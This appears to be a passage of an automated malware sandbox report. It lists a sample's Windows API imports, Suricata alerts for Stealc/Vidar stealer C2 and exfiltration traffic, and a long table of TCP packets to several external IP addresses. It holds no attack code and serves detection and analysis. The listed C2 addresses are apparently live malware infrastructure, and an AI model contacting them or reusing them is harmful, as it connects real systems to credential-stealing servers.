AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T21:18:03.171418+0200	2022566	ET MALWARE Possible Malicious Macro EXE DL AlphaNumL	1	192.168.2.5	49705	147.45.44.104	80	TCP
2024-10-07T21:18:33.535653+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.5	49810	95.164.90.97	80	TCP
2024-10-07T21:18:34.141110+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.164.90.97	80	192.168.2.5	49810	TCP
2024-10-07T21:18:35.266749+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	95.164.90.97	80	192.168.2.5	49810	TCP
2024-10-07T21:18:52.369013+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49932	147.45.44.104	80	TCP
2024-10-07T21:18:56.497805+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.5	49951	45.132.206.251	80	TCP
2024-10-07T21:19:01.803294+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.164.90.97	80	192.168.2.5	49973	TCP
2024-10-07T21:19:02.496779+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	95.164.90.97	80	192.168.2.5	49973	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:17:57.706054926 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:17:57.706058979 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:17:57.799804926 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:01.815387011 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:01.820473909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:01.820554018 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:01.820668936 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:01.826590061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:02.434848070 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:02.435178041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:02.435240984 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:02.439280033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:02.444453955 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:02.569658041 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:02.574826002 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:02.574911118 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:02.575098991 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:02.580243111 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171298981 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171329975 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171348095 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171416044 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171417952 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.171418905 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.171432018 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171447992 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171466112 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171474934 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.171535969 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.171535969 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.171926975 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171961069 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.171996117 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.172050953 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.172050953 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.172362089 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.176431894 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.176672935 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.177037001 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.177037001 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.256340027 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.256413937 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.260971069 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.260984898 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.261044025 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.261075020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.261080980 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.261142969 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.261281967 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.261341095 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.265938997 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.265980959 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.266015053 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.266050100 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.266061068 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.266061068 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.266061068 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.266099930 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.266299963 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.266369104 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.270977020 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.271013021 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.271034002 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.271279097 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.271321058 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.271342993 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.271342993 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.271373987 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.275774956 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.275814056 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.275826931 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.275851011 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.275856972 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.275923967 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.276047945 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.276082993 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.276113987 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.276180029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.280714035 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.280747890 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.280793905 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.280793905 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.346558094 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.346626997 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.346643925 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.346647978 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.346668005 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.346678019 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.346683979 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.347031116 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.351476908 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.351499081 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.351541996 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.351541996 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.351594925 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.351600885 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.351665020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.351665020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.356194973 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.356214046 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.356286049 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.356286049 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.356353045 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.356369019 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.356383085 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.356429100 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.356429100 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.356429100 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.361131907 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.361166000 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.361217976 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.361227036 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.361251116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.361284971 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.361296892 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.361296892 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.361296892 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.362306118 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.366132021 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.366168022 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.366180897 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.366230965 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.366266012 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.366278887 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.366278887 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.366317034 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.371423960 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.371458054 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.371501923 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.371501923 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.371536016 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.371570110 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.371603012 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.371644020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.371644020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.371644020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.376225948 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.376260042 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.376337051 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.376337051 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.376353025 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.376385927 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.377029896 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.377029896 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.381045103 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.381087065 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.381130934 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.381130934 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.432877064 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.432941914 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.432976961 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433355093 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433387995 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433420897 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433454037 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433656931 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.433656931 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.433671951 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433706045 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433757067 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.433803082 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.433803082 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.433803082 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.434315920 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.434369087 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.434405088 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.434416056 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.434416056 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.434636116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.434669971 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.434926987 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.434926987 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.435055017 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.435170889 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.435204029 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.435260057 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.435260057 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.435260057 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.435420036 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.435455084 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.435826063 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.435980082 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.436069965 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.436105013 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.436150074 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.436150074 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.436150074 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.436327934 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.436362028 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.436887026 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.436933994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.436933994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.436933994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.436980009 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437020063 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437030077 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.437259912 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437294006 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437342882 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.437342882 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.437342882 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.437809944 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437907934 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437941074 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.437984943 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.437984943 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.437984943 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.438143969 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.438177109 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.438841105 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.438858986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.438858986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.438891888 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.438925982 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.438971043 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.438971043 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.438971043 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.439177036 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439212084 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439409018 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.439409018 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.439651966 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439800024 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439822912 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.439836025 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439914942 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439949036 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.439960957 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.439960957 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.439960957 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.440519094 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.440567970 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.440567970 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.440709114 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.440759897 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.440793991 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.440839052 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.440839052 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.440839052 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.440996885 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.441030979 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.441459894 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.441459894 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.441656113 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.441709042 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.441742897 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.441787958 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.441787958 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.441787958 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.441921949 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.441956043 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.442003965 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.442003965 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.442513943 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.443314075 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.518646002 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.518726110 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.518770933 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.518774986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.518774986 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.518855095 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.518884897 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.518920898 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.518935919 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519025087 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519264936 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519300938 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519311905 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519336939 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519371033 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519377947 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519377947 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519428015 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519449949 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519534111 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.519938946 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519977093 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.519987106 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520011902 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520049095 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520083904 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520092964 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520092964 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520092964 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520226955 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520354033 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520389080 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520422935 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520433903 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520433903 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520456076 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520487070 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520492077 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520551920 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520551920 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520895958 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520931005 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520965099 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.520973921 CEST	49705	80	192.168.2.5	147.45.44.104
